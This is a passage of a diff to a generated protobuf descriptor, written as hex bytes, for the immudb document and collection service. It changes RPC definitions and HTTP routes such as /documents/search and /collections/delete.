0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, - 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, - 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, - 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, - 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, - 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, - 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, - 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, + 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, - 0x93, 